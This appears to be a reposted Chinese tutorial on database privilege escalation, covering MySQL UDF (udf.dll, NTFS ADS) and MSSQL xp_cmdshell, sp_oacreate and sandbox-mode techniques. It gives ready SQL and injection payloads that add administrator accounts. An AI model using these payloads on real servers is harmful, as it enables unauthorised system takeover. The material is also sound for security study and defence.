应用程序提权

MYSQL提权

Mysql提权利用场景

1.拥有数据库账号密码

2.Webshell可以连接数据库,能够写文件

3.可操作数据库

如何获取数据库账号密码?

1.找数据库配置文件

2.通过webshell对数据库进行本地爆破

3.Hash获取mysql密码

UDF提权

udf提权指的是利用注入漏洞或其他漏洞获取了数据库操作权限后,通过数据库输出具有提权功能的文件并执行提权操作

udf简介:

user defined function,用户定义函数,为用户提供了一种高效创建函数的方式
攻击者编写调用系统cmd命令(linux下相当于调用shell命令)的udf.dll文件,并将udf.dll导出到指定目录下,攻击者创建一个指向udf.dll的自定义函数func,每次在数据库查询中执行func函数等价于在cmd命令中执行命令。
Windows2003:C:\windows\
MySQL 5.1版本后:mysql安装目录\lib\plugin\目录下

UDF提权步骤

1.查看是否有写权限

show global variables like 'secure%';

2.查看mysql安装路径和版本

show variables like '%char%';
select @@datadir;
Select version();

3.查看plugin是否存在

show variables like 'plugin%';

ADS流

在MySQL5.1以后的环境下只有将udf.dll文件导出到mysql安装目录\lib\plugin\目录下才能成功,但是很多时候mysql安装目录下并不存在lib目录,mysql文件操作也并不能直接创建目录,此时需要通过NTFS ADS流来创建目录。NTFS ADS全称为NTFS交换数据流(NTFS Alternate Data Streams),是NTFS文件系统的一个特性。NTFS文件系统中的每一个文件可以包括多个数据流,每个文件数据流的完整格式如下:<filename>:<stream name>:<stream type> <文件名>:<流名>:<流种类>
只有一个data流时,stream name通常可以省略,stream type也可以成为attribute type。
我们通常看到的是文件的data流,其它数据流都处于隐藏状态。
当attribute type为$INDEX_ALLOCATION 时,表明该该数据流的宿主是文件夹。
所以可以通过 mysql 导出数据到directory_path:: $INDEX_ALLOCATION文件的方法来创建directory_path目录。

#$DATA流创建

1.创建宿主文件
echo "this is a test file" > test.txt
2.关联数据流
echo "this is a ads file" > test.txt:aaa:$data
3.查看test.txt文件,读取正常
type test.txt
"this is a test file"
4.查看流文件
dir /r
2021/03/05 10:26 24 test.txt
23 test.txt:aaa:$DATA
notepad test.txt:aaa
5.流文件无法直接删除,只能删除源文件
del /f test.txt
ADS流文件应用
1.创建隐藏文件
type pass.txt > song.mp3:password:$DATA
2.$INDEX_ALLOCATION流创建文件夹
echo > hello::$INDEX_ALLOCATION
Mysql写文件
#写文件
select '111' into dumpfile 'D:\\1.txt';
select '111' into outfile 'D:\1.txt';
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
#创建文件夹
select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

UDF提权

目标主机开启MySQL远程连接,并且攻击者已经获得MySQL数据库连接的用户名和密码信息,通过udf手工提权获得操作系统管理员权限。

1.创建临时表:

create table temp_udf(udf BLOB);
BLOB全称为Binary Large Objects,即大型二进制对象

2.将udf.dll二进制数据插入临时表temp_udf中,$binaryCode为udf.txt文件中复制的内容。

insert into temp_udf values (CONVERT($binaryCode,CHAR));

3.将udf.dll导出到mysql安装目录下的lib/plugin/udf.dll文件中:

select udf from temp_udf into dumpfile "C:/mysql/mysql-5.1.40-win32/lib/plugin/udf.dll"

4.创建cmdshell函数

create function sys_eval returns string soname 'udf.dll’

5.添加超级管理员

select sys_eval('net user udftester 123456 /add & net localgroup administrators udftester /add’)

6.查看命令执行结果:

select sys_eval('net localgroup administrators')

#msf自动利用

exploit/multi/mysql/mysql_udf_payload

MSSQL提权

Mssql常用命令

#查看数据库版本
select @@version
# 查看数据库系统参数
exec master..xp_msver;
# 查看用户所属角色信息
sp_help srvrolemember
# 查看当前数据库
select db_name();
# 查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin') # 判断是否为 sa 权限
select IS_MEMBER('db_owner') # 判断是否为 dba 权限
# 禁用 advanced options
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;

xp_cmdshell

xp_cmdshell扩展存储过程,可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
由于xp_cmdshell 可以执行任何操作系统命令,所以一旦SQL Server管理员帐号(如sa)被攻破,那么攻击者就可以利用xp_cmdshell 在SQL Server中执行操作系统命令
利用语法: exec master..xp_cmdshell "dos 命令 "
SQL Server 2000中默认是开启的
SQL Server 2005及以上版本中xp_cmdshell 默认是关闭的。
如果服务未开启,执行 xp_cmdshell 将会提示类似以下的内容:
消息 15281,级别 16,状态 1,过程 xp_cmdshell,第 1 行
SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程‘sys.xp_cmdshell’ 的访问,因为此组件已作为此服务
器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

1.判断用户权限

只有sysadmin组的用户才能执行xp_cmdshell
and (select IS_SRVROLEMEMBER ('sysadmin'))=1--

2.判断是否存在xp_cmdshell

判断数据库中是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
尝试通过xp_cmdshell执行命令,检测xp_cmdshell是否启用
;exec master..xp_cmdshell “net user name password /add“ –
启用xp_cmdshell
;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure
'xp_cmdshell',1;reconfigure;--
;exec master..xp_cmdshell "ver"--
添加用户
;exec master..xp_cmdshell "net user name password /add" --
添加用户到管理员组
;exec master..xp_cmdshell "net localgroup administrators name /add"--
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权。
打开组件:
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
#添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user zhangsan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators
zhangsan /add’
#执行命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\programdata\1.txt' --
沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.
如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的
无法执行命令时,xp_regwrite可用
Access执行这个命令是有条件的,需要一个开关被打开
#首先检查xp_cmdshell是否开启
select count(*) from master.dbo.sysobjects where xtyoe='x' and name='xp_cmdshell'
#开启沙盒模式
exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启
#添加用户
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb'
,'select shell("cmd.exe /c net user zhangsan 121345 /add")')
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb'
,'select shell("cmd.exe /c net localgroup administrators zhangsan /add")')
cve-2021-42287/cve-2021-42278漏洞文章
https://github.com/WazeHell/sam-the-admin

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/43142.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ubuntu 分区情况

ubuntu系统安装与分区指南 - Philbert - 博客园 (cnblogs.com)https://www.cnblogs.com/liangxuran/p/14872811.html 详解安装Ubuntu Linux系统时硬盘分区最合理的方法-腾讯云开发者社区-腾讯云 (tencent.com)https://cloud.tencent.com/developer/article/1711884

pycharm中快捷键汇总

Pycarm指令汇总 Ctrl鼠标 单击&#xff0c;能直接查看其用法 Ctrl/ 快速注释 CtrlC 在pycharm的terminal中可以停止运行, 其他的地方可以复制。 CtrlV 粘贴 CtrlA 全选 CtrlP 查看&#xff08;&#xff09;中需要填写什么参数 Altenter 自动不补全所需要的库

终于找到了免费的C盘清理软件(极智C盘清理)

搜了很久&#xff0c;终于让我找到了一款 完全免费的C盘清理软件&#xff08;极智C盘清理&#xff09;。 点击前往官网免费使用极智C盘清理软件&#xff1a; C盘清理 用户好评 完全免费的极智C盘清理 用极智C盘清理清理了下系统的临时文件、缓存等无用数据文件&#xff0c;C盘终…

尚硅谷大事件后台API项目(学习自用)

大事件后台API项目 1.初始化 1.1创建项目 首先创建一个文件夹名为api_server&#xff0c;然后用vscode打开这个文件夹&#xff0c;新建终端&#xff0c;在终端输入npm init -y会生成一个package.json文件&#xff0c;接着新建一个文件app.js作为入口文件&#xff0c;在终端安…

哈尔滨等保测评标准的国际比较与启示

随着信息技术的快速发展和全球化趋势的加深&#xff0c;信息安全成为各国政府和企业共同关注的焦点。哈尔滨作为东北地区重要的经济和科技中心&#xff0c;其信息安全等级保护&#xff08;简称“等保”&#xff09;测评标准在确保本地企业信息安全的同时&#xff0c;也面临着与…

Could not find a package configuration file provided by “Torch“ 的参考解决方法

文章目录 写在前面一、问题描述二、解决方法参考链接 写在前面 自己的测试环境&#xff1a; Ubuntu20.04 一、问题描述 自己编译调用 Torch 的程序时&#xff0c;遇到如下报错&#xff1a; Make Error at CMakeLists.txt:15 (find_package):By not providing "FindTor…

设计资料:520-基于ZU15EG 适配AWR2243的雷达验证底板 高速信号处理板 AWR2243毫米波板

基于ZU15EG 适配AWR2243的雷达验证底板 一、板卡概述 本板卡系北京太速科技自主研发&#xff0c;基于MPSOC系列SOC XCZU15EG-FFVB1156架构&#xff0c;搭载两组64-bit DDR4&#xff0c;每组容量32Gb&#xff0c;最高可稳定运行在2400MT/s。另有1路10G SFP光纤接口、1路40G…

使用F1C200S从零制作掌机之构建debian文件系统

前情&#xff1a;使用buildrootfs构建的文件系统调试了很久NES模拟器&#xff0c;执行InfoNES模拟器的时候一直黑屏&#xff0c;无内容显示&#xff0c;调不通了&#xff0c;所以改用debian系统试试。 一、环境配置 首先下载两个工具&#xff1a;qemu-arm-static和debootstra…

uniapp小程序上传文件

需求 小程序需要上传用户相册图片或拍摄的照片到后端服务器 uniapp官方处理小程序文件方法 选择文件方法&#xff1a;uni.chooseMedia uni-app官网uni-app,uniCloud,serverless,uni.chooseVideo(OBJECT),chooseVideo HarmonyOS 兼容性,uni.chooseMedia(OBJECT),uni.saveVid…

Android:如何绘制View

点击查看Android 如何绘制视图官网 一、简介 Android 框架会在 Activity 获得焦点时请求 Activity 绘制其布局。Android 框架会处理绘制流程&#xff0c;但该 Activity 必须提供其布局层次结构的根节点。 Android 框架会绘制布局的根节点&#xff0c;并测量和绘制布局树。它会…

React@16.x(51)路由v5.x(16)- 手动实现文件目录参考

作为前面几篇文章的参考&#xff1a; 实现 Router实现 Route实现 Switch实现 withRouter实现 Link 和 NavLink 以上。

一.4 处理器读并解释储存在内存中的指令

此刻&#xff0c;hello.c源程序已经被编译系统翻译成了可执行目标文件hello&#xff0c;并被存放在硬盘上。要想在Unix系统上运行该可执行文件&#xff0c;我们将它的文件名输入到称为shell的应用程序中&#xff1a; linux>./hello hello, world linux> shell是一个命令…

深度优先搜索和广度优先搜索 使用场景

深度优先搜索&#xff08;Depth-First Search, DFS&#xff09;和广度优先搜索&#xff08;Breadth-First Search, BFS&#xff09;是图和树结构中常用的遍历算法。两者适用于不同的场景。 深度优先搜索 优点 较低的空间复杂度&#xff08;只需保存当前路径&#xff09;&…

JS实现当前元素的同级元素 以及父元素的同级元素

<!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>实现当前元素的同级元素 以及父元素的同级元素</t…

一.2.(4)放大电路静态工作点的稳定;

1.Rb对Q点及Au的影响 输入特性曲线&#xff1a;Rb减少&#xff0c;IBQ&#xff0c;UBEQ增大 输出特性曲线&#xff1a;ICQ增大&#xff0c;UCEQ减少 AUUO/Ui分子减少&#xff0c;分母增大&#xff0c;但由于分子带负号&#xff0c;所以|Au|减少 2.Rc对Q点及Au的影响 输入特性曲…

用Vue3和Plotly.js绘制交互式3D小提琴图

本文由ScriptEcho平台提供技术支持 项目地址&#xff1a;传送门 Vue 中使用 Plotly.js 创建小提琴图 应用场景介绍 小提琴图是一种统计图&#xff0c;用于显示数据的分布和中心趋势。它结合了箱线图和密度图的特点&#xff0c;可以直观地展示数据的分散性和形状。 代码基本…

【网络协议】OSPF

OSPF OSPF&#xff08;Open Shortest Path First&#xff09;协议是一种广泛使用的动态路由协议&#xff0c;它属于链路状态路由协议&#xff0c;在单一自治系统&#xff08;AS&#xff09;内部工作。以下是关于OSPF协议的详细解析&#xff1a; 一、基本概念 定义&#xff1…

使用Keil 点亮LED灯 F103ZET6

1.新建项目 不截图了 2.startup_stm32f10x_hd.s Keil\Packs\Keil\STM32F1xx_DFP\2.2.0\Device\Source\ARM 搜索startup_stm32f10x_hd.s 复制到项目路径&#xff0c;双击Source Group 1 3.项目文件夹新建stm32f10x.h&#xff0c; 新建文件main.c #include "stm32f10x…

windows sshkeygen 多平台添加配置

文章目录 .ssh目录生成新的ssh配置添加公钥到仓库验证 .ssh目录 windows下一般为&#xff1a;C:\Users\15237.ssh &#xff0c;其中“15237”为当前登录用户 生成新的ssh .ssh目录下打开“Git Bash Here”&#xff08;如果没有&#xff0c;先安装 Git 软件&#xff09; 执行…

android perfetto使用技巧梳理

1 抓取方法 根据不同的配置参数&#xff0c;会显示不同的功能。 比如有的trace文件就无法显示线程状态信息&#xff0c;有的无法显示锁依赖信息等等&#xff0c;要看你的参数&#xff0c;我这个是很全的&#xff0c;基本够了&#xff0c;如果还想添加&#xff0c;可以命令行看…